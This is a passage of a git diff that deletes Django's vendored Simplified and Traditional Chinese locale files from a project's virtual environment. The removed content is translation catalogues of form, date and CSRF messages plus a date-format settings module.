"Enter a valid JSON." -msgstr "输入一个有效的JSON。" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(隐藏字段 %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm 数据缺失或被篡改。缺少的字段: %(field_names)s。如果问题持续存" -"在,你可能需要提交错误报告。" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "请最多提交 %(num)d 个表单。" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "请至少提交 %(num)d 个表单。" - -msgid "Order" -msgstr "排序" - -msgid "Delete" -msgstr "删除" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "请修改%(field)s的重复数据" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "请修改%(field)s的重复数据.这个字段必须唯一" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"请修正%(field_name)s的重复数据。%(date_field)s %(lookup)s 在 %(field_name)s " -"必须保证唯一." - -msgid "Please correct the duplicate values below." -msgstr "请修正重复的数据." - -msgid "The inline value did not match the parent instance." -msgstr "内联值与父实例不匹配。" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "选择一个有效的选项: 该选择不在可用的选项中。" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s”不是一个有效的值" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s无法在时区%(current_timezone)s被解析;它可能是模糊的,也可能是不" -"存在的。" - -msgid "Clear" -msgstr "清除" - -msgid "Currently" -msgstr "目前" - -msgid "Change" -msgstr "修改" - -msgid "Unknown" -msgstr "未知" - -msgid "Yes" -msgstr "是" - -msgid "No" -msgstr "否" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "是、否、也许" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d 字节" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "午夜" - -msgid "noon" -msgstr "中午" - -msgid "Monday" -msgstr "星期一" - -msgid "Tuesday" -msgstr "星期二" - -msgid "Wednesday" -msgstr "星期三" - -msgid "Thursday" -msgstr "星期四" - -msgid "Friday" -msgstr "星期五" - -msgid "Saturday" -msgstr "星期六" - -msgid "Sunday" -msgstr "星期日" - -msgid "Mon" -msgstr "星期一" - -msgid "Tue" -msgstr "星期二" - -msgid "Wed" -msgstr "星期三" - -msgid "Thu" -msgstr "星期四" - -msgid "Fri" -msgstr "星期五" - -msgid "Sat" -msgstr "星期六" - -msgid "Sun" -msgstr "星期日" - -msgid "January" -msgstr "一月" - -msgid "February" -msgstr "二月" - -msgid "March" -msgstr "三月" - -msgid "April" -msgstr "四月" - -msgid "May" -msgstr "五月" - -msgid "June" -msgstr "六月" - -msgid "July" -msgstr "七月" - -msgid "August" -msgstr "八月" - -msgid "September" -msgstr "九月" - -msgid "October" -msgstr "十月" - -msgid "November" -msgstr "十一月" - -msgid "December" -msgstr "十二月" - -msgid "jan" -msgstr "一月" - -msgid "feb" -msgstr "二月" - -msgid "mar" -msgstr "三月" - -msgid "apr" -msgstr "四月" - -msgid "may" -msgstr "五月" - -msgid "jun" -msgstr "六月" - -msgid "jul" -msgstr "七月" - -msgid "aug" -msgstr "八月" - -msgid "sep" -msgstr "九月" - -msgid "oct" -msgstr "十月" - -msgid "nov" -msgstr "十一月" - -msgid "dec" -msgstr "十二月" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "一月" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "二月" - -msgctxt "abbrev. month" -msgid "March" -msgstr "三月" - -msgctxt "abbrev. month" -msgid "April" -msgstr "四月" - -msgctxt "abbrev. month" -msgid "May" -msgstr "五月" - -msgctxt "abbrev. month" -msgid "June" -msgstr "六月" - -msgctxt "abbrev. month" -msgid "July" -msgstr "七月" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "八月" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "九月" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "十月" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "十一月" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "十二月" - -msgctxt "alt. month" -msgid "January" -msgstr "一月" - -msgctxt "alt. month" -msgid "February" -msgstr "二月" - -msgctxt "alt. month" -msgid "March" -msgstr "三月" - -msgctxt "alt. month" -msgid "April" -msgstr "四月" - -msgctxt "alt. month" -msgid "May" -msgstr "五月" - -msgctxt "alt. month" -msgid "June" -msgstr "六月" - -msgctxt "alt. month" -msgid "July" -msgstr "七月" - -msgctxt "alt. month" -msgid "August" -msgstr "八月" - -msgctxt "alt. month" -msgid "September" -msgstr "九月" - -msgctxt "alt. month" -msgid "October" -msgstr "十月" - -msgctxt "alt. month" -msgid "November" -msgstr "十一月" - -msgctxt "alt. month" -msgid "December" -msgstr "十二月" - -msgid "This is not a valid IPv6 address." -msgstr "该值不是合法的IPv6地址。" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s..." - -msgid "or" -msgstr "或" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d 年" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d 月" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d 周" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d 日" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d 小时" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d 分钟" - -msgid "Forbidden" -msgstr "禁止访问" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF验证失败. 请求被中断." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"您看到此消息是由于HTTPS站点需要您的浏览器发送 'Referer header',但是该信息并" -"未被发送。出于安全原因,此HTTP头是必需的,以确保您的浏览器不会被第三方劫持。" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"如果您已将浏览器配置为禁用“ Referer”头,请重新启用它们,至少针对此站点,或" -"HTTPS连接或“同源”请求。" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"如果您使用的是标签或包" -"含“Referrer-Policy: no-referrer”的HTTP头,请将其删除。CSRF保护要求“Referer”头" -"执行严格的Referer检查。如果你担心隐私问题,可以使用类似这样的替代方法链接到第三方网站。" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"您看到此消息是由于该站点在提交表单时需要一个CSRF cookie。此项是出于安全考虑," -"以确保您的浏览器没有被第三方劫持。" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"如果您已将浏览器配置为禁用cookie,请重新启用它们,至少针对此站点或“同源”请" -"求。" - -msgid "More information is available with DEBUG=True." -msgstr "更多可用信息请设置选项DEBUG=True。" - -msgid "No year specified" -msgstr "没有指定年" - -msgid "Date out of range" -msgstr "日期超出范围。" - -msgid "No month specified" -msgstr "没有指定月" - -msgid "No day specified" -msgstr "没有指定天" - -msgid "No week specified" -msgstr "没有指定周" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s 可用" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"因为 %(class_name)s.allow_future 设置为 False,所以特性 " -"%(verbose_name_plural)s 不可用。" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "日期字符串“%(datestr)s”与格式“%(format)s”不匹配" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "没有找到符合查询的 %(verbose_name)s" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "页面不是最后一页,也不能被转为整数型" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "非法页面 (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "列表是空的并且“%(class_name)s.allow_empty”是False" - -msgid "Directory indexes are not allowed here." -msgstr "这里不允许目录索引" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "”%(path)s\"不存在" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s的索引" - -msgid "The install worked successfully! Congratulations!" -msgstr "" -"安装成功!\n" -"祝贺!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"查看 Django %(version)s 的 release notes " - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"您现在看见这个页面,因为您设置了 DEBUG=True 并且您还没有配置任何URLs。" - -msgid "Django Documentation" -msgstr "Django 文档" - -msgid "Topics, references, & how-to’s" -msgstr "主题,参考资料和操作方法" - -msgid "Tutorial: A Polling App" -msgstr "教程:投票应用" - -msgid "Get started with Django" -msgstr "开始使用 Django" - -msgid "Django Community" -msgstr "Django 社区" - -msgid "Connect, get help, or contribute" -msgstr "联系,获取帮助,贡献代码" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e302430e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 3da07783..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/formats.py deleted file mode 100644 index 79936f8a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hans/formats.py +++ /dev/null @@ -1,42 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "Y年n月j日" # 2016年9月5日 -TIME_FORMAT = "H:i" # 20:45 -DATETIME_FORMAT = "Y年n月j日 H:i" # 2016年9月5日 20:45 -YEAR_MONTH_FORMAT = "Y年n月" # 2016年9月 -MONTH_DAY_FORMAT = "m月j日" # 9月5日 -SHORT_DATE_FORMAT = "Y年n月j日" # 2016年9月5日 -SHORT_DATETIME_FORMAT = "Y年n月j日 H:i" # 2016年9月5日 20:45 -FIRST_DAY_OF_WEEK = 1 # 星期一 (Monday) - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y/%m/%d", # '2016/09/05' - "%Y-%m-%d", # '2016-09-05' - "%Y年%n月%j日", # '2016年9月5日' -] - -TIME_INPUT_FORMATS = [ - "%H:%M", # '20:45' - "%H:%M:%S", # '20:45:29' - "%H:%M:%S.%f", # '20:45:29.000200' -] - -DATETIME_INPUT_FORMATS = [ - "%Y/%m/%d %H:%M", # '2016/09/05 20:45' - "%Y-%m-%d %H:%M", # '2016-09-05 20:45' - "%Y年%n月%j日 %H:%M", # '2016年9月5日 14:45' - "%Y/%m/%d %H:%M:%S", # '2016/09/05 20:45:29' - "%Y-%m-%d %H:%M:%S", # '2016-09-05 20:45:29' - "%Y年%n月%j日 %H:%M:%S", # '2016年9月5日 20:45:29' - "%Y/%m/%d %H:%M:%S.%f", # '2016/09/05 20:45:29.000200' - "%Y-%m-%d %H:%M:%S.%f", # '2016-09-05 20:45:29.000200' - "%Y年%n月%j日 %H:%n:%S.%f", # '2016年9月5日 20:45:29.000200' -] - -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "" -NUMBER_GROUPING = 4 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/LC_MESSAGES/django.mo deleted file mode 100644 index 03b82f48..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/LC_MESSAGES/django.po deleted file mode 100644 index 6cb70622..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/LC_MESSAGES/django.po +++ /dev/null @@ -1,1293 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Chen Chun-Chia , 2015 -# coby2023t, 2024-2025 -# Eric Ho , 2013 -# ilay , 2012 -# Jannis Leidel , 2011 -# mail6543210 , 2013 -# 0a3cb7bfd0810218facdfb511e592a6d_8d19d07 , 2011 -# tcc , 2011 -# Tzu-ping Chung , 2016-2017 -# YAO WEN LIANG, 2024 -# Yeh-Yung , 2013 -# coby2023t, 2024 -# Yeh-Yung , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: coby2023t, 2024-2025\n" -"Language-Team: Chinese (Taiwan) (http://app.transifex.com/django/django/" -"language/zh_TW/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: zh_TW\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "南非語" - -msgid "Arabic" -msgstr "阿拉伯語" - -msgid "Algerian Arabic" -msgstr "阿爾及利亞式阿拉伯語" - -msgid "Asturian" -msgstr "阿斯圖里亞斯語" - -msgid "Azerbaijani" -msgstr "亞塞拜然語" - -msgid "Bulgarian" -msgstr "保加利亞語" - -msgid "Belarusian" -msgstr "白俄羅斯語" - -msgid "Bengali" -msgstr "孟加拉語" - -msgid "Breton" -msgstr "布列塔尼語" - -msgid "Bosnian" -msgstr "波士尼亞語" - -msgid "Catalan" -msgstr "加泰隆語" - -msgid "Central Kurdish (Sorani)" -msgstr "中部庫爾德語 (Sorani)" - -msgid "Czech" -msgstr "捷克語" - -msgid "Welsh" -msgstr "威爾斯語" - -msgid "Danish" -msgstr "丹麥語" - -msgid "German" -msgstr "德語" - -msgid "Lower Sorbian" -msgstr "下索布語" - -msgid "Greek" -msgstr "希臘語" - -msgid "English" -msgstr "英語" - -msgid "Australian English" -msgstr "澳大利亞英語" - -msgid "British English" -msgstr "英國英語" - -msgid "Esperanto" -msgstr "世界語" - -msgid "Spanish" -msgstr "西班牙語" - -msgid "Argentinian Spanish" -msgstr "阿根廷西班牙語" - -msgid "Colombian Spanish" -msgstr "哥倫比亞西班牙語" - -msgid "Mexican Spanish" -msgstr "墨西哥西班牙語" - -msgid "Nicaraguan Spanish" -msgstr "尼加拉瓜西班牙語" - -msgid "Venezuelan Spanish" -msgstr "委內瑞拉西班牙語" - -msgid "Estonian" -msgstr "愛沙尼亞語" - -msgid "Basque" -msgstr "巴斯克語" - -msgid "Persian" -msgstr "波斯語" - -msgid "Finnish" -msgstr "芬蘭語" - -msgid "French" -msgstr "法語" - -msgid "Frisian" -msgstr "菲士蘭語" - -msgid "Irish" -msgstr "愛爾蘭語" - -msgid "Scottish Gaelic" -msgstr "蘇格蘭蓋爾語" - -msgid "Galician" -msgstr "加利西亞語" - -msgid "Hebrew" -msgstr "希伯來語" - -msgid "Hindi" -msgstr "印地語" - -msgid "Croatian" -msgstr "克羅埃西亞語" - -msgid "Upper Sorbian" -msgstr "上索布語" - -msgid "Hungarian" -msgstr "匈牙利語" - -msgid "Armenian" -msgstr "亞美尼亞語" - -msgid "Interlingua" -msgstr "國際語" - -msgid "Indonesian" -msgstr "印尼語" - -msgid "Igbo" -msgstr "伊博語" - -msgid "Ido" -msgstr "伊多語" - -msgid "Icelandic" -msgstr "冰島語" - -msgid "Italian" -msgstr "義大利語" - -msgid "Japanese" -msgstr "日語" - -msgid "Georgian" -msgstr "喬治亞語" - -msgid "Kabyle" -msgstr "卡拜爾語" - -msgid "Kazakh" -msgstr "哈薩克語" - -msgid "Khmer" -msgstr "高棉語" - -msgid "Kannada" -msgstr "康納達語" - -msgid "Korean" -msgstr "韓語" - -msgid "Kyrgyz" -msgstr "吉爾吉斯語" - -msgid "Luxembourgish" -msgstr "盧森堡語" - -msgid "Lithuanian" -msgstr "立陶宛語" - -msgid "Latvian" -msgstr "拉脫維亞語" - -msgid "Macedonian" -msgstr "馬其頓語" - -msgid "Malayalam" -msgstr "馬拉雅拉姆語" - -msgid "Mongolian" -msgstr "蒙古語" - -msgid "Marathi" -msgstr "馬拉提語" - -msgid "Malay" -msgstr "馬來語" - -msgid "Burmese" -msgstr "緬甸語" - -msgid "Norwegian Bokmål" -msgstr "書面挪威語" - -msgid "Nepali" -msgstr "尼泊爾語" - -msgid "Dutch" -msgstr "荷蘭語" - -msgid "Norwegian Nynorsk" -msgstr "新挪威語" - -msgid "Ossetic" -msgstr "奧塞梯語" - -msgid "Punjabi" -msgstr "旁遮普語" - -msgid "Polish" -msgstr "波蘭語" - -msgid "Portuguese" -msgstr "葡萄牙語" - -msgid "Brazilian Portuguese" -msgstr "巴西葡萄牙語" - -msgid "Romanian" -msgstr "羅馬尼亞語" - -msgid "Russian" -msgstr "俄語" - -msgid "Slovak" -msgstr "斯洛伐克語" - -msgid "Slovenian" -msgstr "斯洛維尼亞語" - -msgid "Albanian" -msgstr "阿爾巴尼亞語" - -msgid "Serbian" -msgstr "塞爾維亞語" - -msgid "Serbian Latin" -msgstr "塞爾維亞拉丁語" - -msgid "Swedish" -msgstr "瑞典語" - -msgid "Swahili" -msgstr "斯瓦希里語" - -msgid "Tamil" -msgstr "坦米爾語" - -msgid "Telugu" -msgstr "泰盧固語" - -msgid "Tajik" -msgstr "塔吉克語" - -msgid "Thai" -msgstr "泰語" - -msgid "Turkmen" -msgstr "土庫曼語" - -msgid "Turkish" -msgstr "土耳其語" - -msgid "Tatar" -msgstr "韃靼語" - -msgid "Udmurt" -msgstr "烏德穆爾特語" - -msgid "Uyghur" -msgstr "維吾爾語" - -msgid "Ukrainian" -msgstr "烏克蘭語" - -msgid "Urdu" -msgstr "烏爾都語" - -msgid "Uzbek" -msgstr "烏茲別克語" - -msgid "Vietnamese" -msgstr "越南語" - -msgid "Simplified Chinese" -msgstr "簡體中文" - -msgid "Traditional Chinese" -msgstr "繁體中文" - -msgid "Messages" -msgstr "訊息" - -msgid "Site Maps" -msgstr "網站地圖" - -msgid "Static Files" -msgstr "靜態文件" - -msgid "Syndication" -msgstr "聯播" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "該頁碼並非整數" - -msgid "That page number is less than 1" -msgstr "該頁碼小於 1" - -msgid "That page contains no results" -msgstr "該頁未包含任何內容" - -msgid "Enter a valid value." -msgstr "請輸入有效的值。" - -msgid "Enter a valid domain name." -msgstr "輸入有效的網域名稱。" - -msgid "Enter a valid URL." -msgstr "請輸入有效的 URL。" - -msgid "Enter a valid integer." -msgstr "請輸入有效的整數。" - -msgid "Enter a valid email address." -msgstr "請輸入有效的電子郵件地址。" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "輸入合適的 \"slug\" 字串,由字母、數字、底線與連字號組成。" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "輸入合適的 \"slug\" 字串,內含 Unicode 字元、數字、底線或減號。" - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "輸入正確的 %(protocol)s 位址。." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 或 IPv6" - -msgid "Enter only digits separated by commas." -msgstr "請輸入以逗號分隔的數字。" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "請確認這個值是否為 %(limit_value)s (目前是 %(show_value)s)。" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "請確認此數值是否小於或等於 %(limit_value)s。" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "請確認此數值是否大於或等於 %(limit_value)s。" - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "請確認此數值是 %(limit_value)s 的倍數。" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"請確認此數值是 %(limit_value)s的倍數。從 %(offset)s 起始,例如 %(offset)s, " -"%(valid_value1)s, %(valid_value2)s,以此類推。" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"請確認這個值至少包含 %(limit_value)d 個字 (目前為 %(show_value)d 個字)。" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"請確認這個值至多包含 %(limit_value)d 個字 (目前為 %(show_value)d 個字)。" - -msgid "Enter a number." -msgstr "輸入一個數字" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "請確認數字全長不超過 %(max)s 位。" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "確認小數不超過 %(max)s 位。" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "請確認小數點前不超過 %(max)s 位。" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "不允許副檔名為 “%(extension)s” 。可用的像是: %(allowed_extensions)s。" - -msgid "Null characters are not allowed." -msgstr "不允許空(null)字元。" - -msgid "and" -msgstr "和" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "包含 %(field_labels)s 的 %(model_name)s 已經存在。" - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "約束條件 “%(name)s” 被違反。" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "數值 %(value)r 不是有效的選項。" - -msgid "This field cannot be null." -msgstr "這個值不能是 null。" - -msgid "This field cannot be blank." -msgstr "這個欄位不能為空。" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "包含 %(field_label)s 的 %(model_name)s 已經存在。" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s 在 %(date_field_label)s %(lookup_type)s 上必須唯一。" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "欄位類型: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” 只能是 True 或 False。" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” 只能是 True 或 False 或 None 。" - -msgid "Boolean (Either True or False)" -msgstr "布林值 (True 或 False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "字串 (至多 %(max_length)s 個字)" - -msgid "String (unlimited)" -msgstr "字串 (無限)" - -msgid "Comma-separated integers" -msgstr "逗號分隔的整數" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "“%(value)s” 的日期格式錯誤。應該是 YYYY-MM-DD 才對。" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "“%(value)s” 的格式正確 (YYYY-MM-DD) 但日期有誤。" - -msgid "Date (without time)" -msgstr "日期 (不包括時間)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” 的格式錯誤。應該是 YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ] 才對。" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” 的格式正確 (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) 但日期/時間有誤。" - -msgid "Date (with time)" -msgstr "日期 (包括時間)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” 必須是十進位數。" - -msgid "Decimal number" -msgstr "十進位數" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "“%(value)s” 的格式錯誤。格式必須為 [DD] [[HH:]MM:]ss[.uuuuuu] 。" - -msgid "Duration" -msgstr "時長" - -msgid "Email address" -msgstr "電子郵件地址" - -msgid "File path" -msgstr "檔案路徑" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” 必須是浮點小數。" - -msgid "Floating point number" -msgstr "浮點數" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” 必須是整數。" - -msgid "Integer" -msgstr "整數" - -msgid "Big (8 byte) integer" -msgstr "大整數 (8位元組)" - -msgid "Small integer" -msgstr "小整數" - -msgid "IPv4 address" -msgstr "IPv4 地址" - -msgid "IP address" -msgstr "IP 位址" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” 必須是 None, True 或 False。" - -msgid "Boolean (Either True, False or None)" -msgstr "布林值 (True, False 或 None)" - -msgid "Positive big integer" -msgstr "大的正整數" - -msgid "Positive integer" -msgstr "正整數" - -msgid "Positive small integer" -msgstr "正小整數" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (最多 %(max_length)s個字)" - -msgid "Text" -msgstr "文字" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "“%(value)s” 格式錯誤。格式必須為 HH:MM[:ss[.uuuuuu]] 。" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "“%(value)s” 的格式正確 (HH:MM[:ss[.uuuuuu]]),但時間有誤。" - -msgid "Time" -msgstr "時間" - -msgid "URL" -msgstr "網址" - -msgid "Raw binary data" -msgstr "原始二進制數據" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” 不是有效的 UUID。" - -msgid "Universally unique identifier" -msgstr "通用唯一識別碼" - -msgid "File" -msgstr "檔案" - -msgid "Image" -msgstr "圖像" - -msgid "A JSON object" -msgstr "JSON 物件" - -msgid "Value must be valid JSON." -msgstr "必須是有效的 JSON 值" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(model)s 實體配 %(field)s %(value)r 並不是合法選項。" - -msgid "Foreign Key (type determined by related field)" -msgstr "外鍵(類型由相關欄位決定)" - -msgid "One-to-one relationship" -msgstr "一對一關連" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s 關連" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s 